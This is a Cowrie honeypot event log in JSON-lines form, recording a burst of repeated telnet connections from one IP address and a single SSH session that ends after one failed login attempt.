{"eventid":"cowrie.session.closed","duration":31.18251919746399,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:54.833809Z","src_ip":"198.50.122.223","session":"949806ff2c83","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":36164,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a4a4fdb2b82","protocol":"telnet","message":"New connection: 198.50.122.223:36164 (10.17.0.5:23) [session: 0a4a4fdb2b82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:55.127418Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":36406,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2af89b24d19","protocol":"telnet","message":"New connection: 198.50.122.223:36406 (10.17.0.5:23) [session: b2af89b24d19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:55.219207Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":37232,"dst_ip":"10.17.0.5","dst_port":23,"session":"85c21c9ee58f","protocol":"telnet","message":"New connection: 198.50.122.223:37232 (10.17.0.5:23) [session: 85c21c9ee58f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:55.451117Z"}
{"eventid":"cowrie.session.closed","duration":31.320910930633545,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:55.637457Z","src_ip":"198.50.122.223","session":"1207084c6e03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":39638,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b0e75f1dbb4","protocol":"telnet","message":"New connection: 198.50.122.223:39638 (10.17.0.5:23) [session: 4b0e75f1dbb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:55.849771Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":39940,"dst_ip":"10.17.0.5","dst_port":23,"session":"9336184b8843","protocol":"telnet","message":"New connection: 198.50.122.223:39940 (10.17.0.5:23) [session: 9336184b8843]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:55.918629Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":41066,"dst_ip":"10.17.0.5","dst_port":23,"session":"10ede1f52348","protocol":"telnet","message":"New connection: 198.50.122.223:41066 (10.17.0.5:23) [session: 10ede1f52348]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:56.288596Z"}
{"eventid":"cowrie.session.closed","duration":31.01158618927002,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:56.309383Z","src_ip":"198.50.122.223","session":"1732e6337392","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.043129920959473,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:56.874015Z","src_ip":"198.50.122.223","session":"8dc6b737b277","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.980331420898438,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:56.942544Z","src_ip":"198.50.122.223","session":"1bd4da615c6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":45730,"dst_ip":"10.17.0.5","dst_port":23,"session":"fcd573cdfe09","protocol":"telnet","message":"New connection: 198.50.122.223:45730 (10.17.0.5:23) [session: fcd573cdfe09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:57.212274Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":48226,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6787a8aa54f","protocol":"telnet","message":"New connection: 198.50.122.223:48226 (10.17.0.5:23) [session: e6787a8aa54f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:57.692454Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":48914,"dst_ip":"10.17.0.5","dst_port":23,"session":"fdc21c93de5f","protocol":"telnet","message":"New connection: 198.50.122.223:48914 (10.17.0.5:23) [session: fdc21c93de5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:57.766199Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":49004,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f7031947d4d","protocol":"telnet","message":"New connection: 198.50.122.223:49004 (10.17.0.5:23) [session: 9f7031947d4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:57.779749Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":50608,"dst_ip":"10.17.0.5","dst_port":23,"session":"9df84578bf0e","protocol":"telnet","message":"New connection: 198.50.122.223:50608 (10.17.0.5:23) [session: 9df84578bf0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:58.186830Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":53348,"dst_ip":"10.17.0.5","dst_port":23,"session":"65301e3a7d65","protocol":"telnet","message":"New connection: 198.50.122.223:53348 (10.17.0.5:23) [session: 65301e3a7d65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:58.716055Z"}
{"eventid":"cowrie.session.closed","duration":31.58043622970581,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:58.752887Z","src_ip":"198.50.122.223","session":"04aff132220a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.172021627426147,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:59.256981Z","src_ip":"198.50.122.223","session":"0bc5038f6378","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.236324310302734,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:59.497796Z","src_ip":"198.50.122.223","session":"216e77021faf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.631608486175537,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:59.528388Z","src_ip":"198.50.122.223","session":"3963b1e7a575","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.15151572227478,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:59.533393Z","src_ip":"198.50.122.223","session":"1c9ab13852a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":59340,"dst_ip":"10.17.0.5","dst_port":23,"session":"f18c2a2c78e0","protocol":"telnet","message":"New connection: 198.50.122.223:59340 (10.17.0.5:23) [session: f18c2a2c78e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:59.893229Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":60436,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2df5490b6c2","protocol":"telnet","message":"New connection: 198.50.122.223:60436 (10.17.0.5:23) [session: a2df5490b6c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:00.191056Z"}
{"eventid":"cowrie.session.closed","duration":30.95990753173828,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:00.257333Z","src_ip":"198.50.122.223","session":"480679af405c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.86413073539734,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:00.307353Z","src_ip":"198.50.122.223","session":"f07364a11cbf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.944742918014526,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:00.318979Z","src_ip":"198.50.122.223","session":"816b299c1a2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.562504529953003,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:00.447835Z","src_ip":"198.50.122.223","session":"c10621796b57","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.171533584594727,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:00.455312Z","src_ip":"198.50.122.223","session":"a4ad41a29e8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":34282,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1911aac62e0","protocol":"telnet","message":"New connection: 198.50.122.223:34282 (10.17.0.5:23) [session: e1911aac62e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:00.612312Z"}
{"eventid":"cowrie.session.closed","duration":31.05324673652649,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:01.357894Z","src_ip":"198.50.122.223","session":"2b35b444d219","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.980910062789917,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:01.399340Z","src_ip":"198.50.122.223","session":"12f91915642b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":51492,"dst_ip":"10.17.0.5","dst_port":23,"session":"1dee1da78467","protocol":"telnet","message":"New connection: 198.50.122.223:51492 (10.17.0.5:23) [session: 1dee1da78467]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:01.429272Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":38678,"dst_ip":"10.17.0.5","dst_port":23,"session":"b37494533790","protocol":"telnet","message":"New connection: 198.50.122.223:38678 (10.17.0.5:23) [session: b37494533790]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:01.633475Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":38744,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae0d79e8aa54","protocol":"telnet","message":"New connection: 198.50.122.223:38744 (10.17.0.5:23) [session: ae0d79e8aa54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:01.644233Z"}
{"eventid":"cowrie.session.closed","duration":31.19656205177307,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:01.712591Z","src_ip":"198.50.122.223","session":"6932d08418bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.58766508102417,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:01.815544Z","src_ip":"198.50.122.223","session":"7df7de14a40b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":40394,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8a868385b39","protocol":"telnet","message":"New connection: 198.50.122.223:40394 (10.17.0.5:23) [session: c8a868385b39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:01.875846Z"}
{"eventid":"cowrie.session.closed","duration":30.776251554489136,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:02.141838Z","src_ip":"198.50.122.223","session":"5f63e2068243","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.58388924598694,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:02.336780Z","src_ip":"198.50.122.223","session":"5932fcac6240","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.21523880958557,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:02.362754Z","src_ip":"198.50.122.223","session":"c33aefacd276","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.02041506767273,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:02.461878Z","src_ip":"198.50.122.223","session":"b17de8e6c55a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.906267166137695,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:02.650384Z","src_ip":"198.50.122.223","session":"4c7c041ea95b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":39564,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fd6b6e63362","protocol":"telnet","message":"New connection: 198.50.122.223:39564 (10.17.0.5:23) [session: 0fd6b6e63362]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:02.740615Z"}
{"eventid":"cowrie.session.closed","duration":31.158498764038086,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:02.916266Z","src_ip":"198.50.122.223","session":"cc89091269b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.507201433181763,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:02.987104Z","src_ip":"198.50.122.223","session":"86efa62e5fdc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.066522121429443,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:03.173512Z","src_ip":"198.50.122.223","session":"fa9c2475ce52","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.044130325317383,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:03.238324Z","src_ip":"198.50.122.223","session":"afa37fb19550","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.81305742263794,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:03.349663Z","src_ip":"198.50.122.223","session":"eb5f7871bba0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.191702604293823,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:03.375160Z","src_ip":"198.50.122.223","session":"839d3cc2d845","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":48192,"dst_ip":"10.17.0.5","dst_port":23,"session":"89ffe23fde00","protocol":"telnet","message":"New connection: 198.50.122.223:48192 (10.17.0.5:23) [session: 89ffe23fde00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:03.544030Z"}
{"eventid":"cowrie.session.closed","duration":31.67907214164734,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:03.751578Z","src_ip":"198.50.122.223","session":"f9298f3fc5f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":54290,"dst_ip":"159.203.135.109","dst_port":22,"session":"8047af46e4df","protocol":"ssh","message":"New connection: 103.228.69.212:54290 (159.203.135.109:22) [session: 8047af46e4df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:04.889312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:04.893998Z","src_ip":"103.228.69.212","session":"8047af46e4df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:05.128081Z","src_ip":"103.228.69.212","session":"8047af46e4df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.903178930282593,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:05.278767Z","src_ip":"198.50.122.223","session":"5e62928d98f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.281787395477295,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:05.294287Z","src_ip":"198.50.122.223","session":"5f8bf2e1dd61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":57060,"dst_ip":"10.17.0.5","dst_port":23,"session":"61b6a28e1cf3","protocol":"telnet","message":"New connection: 198.50.122.223:57060 (10.17.0.5:23) [session: 61b6a28e1cf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:05.396085Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":58790,"dst_ip":"10.17.0.5","dst_port":23,"session":"29488192e436","protocol":"telnet","message":"New connection: 198.50.122.223:58790 (10.17.0.5:23) [session: 29488192e436]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:05.688927Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":59722,"dst_ip":"10.17.0.5","dst_port":23,"session":"189c799f5087","protocol":"telnet","message":"New connection: 198.50.122.223:59722 (10.17.0.5:23) [session: 189c799f5087]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:05.869007Z"}
{"eventid":"cowrie.login.failed","username":"sysadmin","password":"sysadmin@2023","message":"login attempt [sysadmin/sysadmin@2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:06.105551Z","src_ip":"103.228.69.212","session":"8047af46e4df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":60802,"dst_ip":"10.17.0.5","dst_port":23,"session":"77ef6edcf091","protocol":"telnet","message":"New connection: 198.50.122.223:60802 (10.17.0.5:23) [session: 77ef6edcf091]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:06.186553Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":33328,"dst_ip":"10.17.0.5","dst_port":23,"session":"268f1c09a249","protocol":"telnet","message":"New connection: 198.50.122.223:33328 (10.17.0.5:23) [session: 268f1c09a249]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:06.365441Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":33932,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6f44b294c3e","protocol":"telnet","message":"New connection: 198.50.122.223:33932 (10.17.0.5:23) [session: a6f44b294c3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:06.471206Z"}
{"eventid":"cowrie.session.closed","duration":30.981617212295532,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:06.880326Z","src_ip":"198.50.122.223","session":"a918edcab321","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":60102,"dst_ip":"10.17.0.5","dst_port":23,"session":"e53fc6cf7a47","protocol":"telnet","message":"New connection: 198.50.122.223:60102 (10.17.0.5:23) [session: e53fc6cf7a47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:06.989407Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":37590,"dst_ip":"10.17.0.5","dst_port":23,"session":"685c7db1d954","protocol":"telnet","message":"New connection: 198.50.122.223:37590 (10.17.0.5:23) [session: 685c7db1d954]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:07.227147Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:07.341924Z","src_ip":"103.228.69.212","session":"8047af46e4df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.63531732559204,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:07.345843Z","src_ip":"198.50.122.223","session":"6ccb10ddbade","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":38492,"dst_ip":"10.17.0.5","dst_port":23,"session":"e24f55870dce","protocol":"telnet","message":"New connection: 198.50.122.223:38492 (10.17.0.5:23) [session: e24f55870dce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:07.404880Z"}
{"eventid":"cowrie.session.closed","duration":30.759891748428345,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:07.504410Z","src_ip":"198.50.122.223","session":"b3ad1157b699","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":39207,"dst_ip":"10.17.0.5","dst_port":23,"session":"b366ae2081ba","protocol":"telnet","message":"New connection: 198.50.122.223:39207 (10.17.0.5:23) [session: b366ae2081ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:07.533315Z"}
{"eventid":"cowrie.session.closed","duration":31.545318841934204,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:07.572243Z","src_ip":"198.50.122.223","session":"98b9ebe11716","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":39710,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c6e15d73c14","protocol":"telnet","message":"New connection: 198.50.122.223:39710 (10.17.0.5:23) [session: 1c6e15d73c14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:07.590017Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":39674,"dst_ip":"10.17.0.5","dst_port":23,"session":"938237c5f552","protocol":"telnet","message":"New connection: 198.50.122.223:39674 (10.17.0.5:23) [session: 938237c5f552]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:07.594900Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":40086,"dst_ip":"10.17.0.5","dst_port":23,"session":"8fe9b13b0304","protocol":"telnet","message":"New connection: 198.50.122.223:40086 (10.17.0.5:23) [session: 8fe9b13b0304]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:07.634923Z"}
{"eventid":"cowrie.session.closed","duration":30.850975036621094,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:07.657375Z","src_ip":"198.50.122.223","session":"954993e9a39f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.193007946014404,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:08.060378Z","src_ip":"198.50.122.223","session":"ad9291b400d2","protocol":"telnet"}
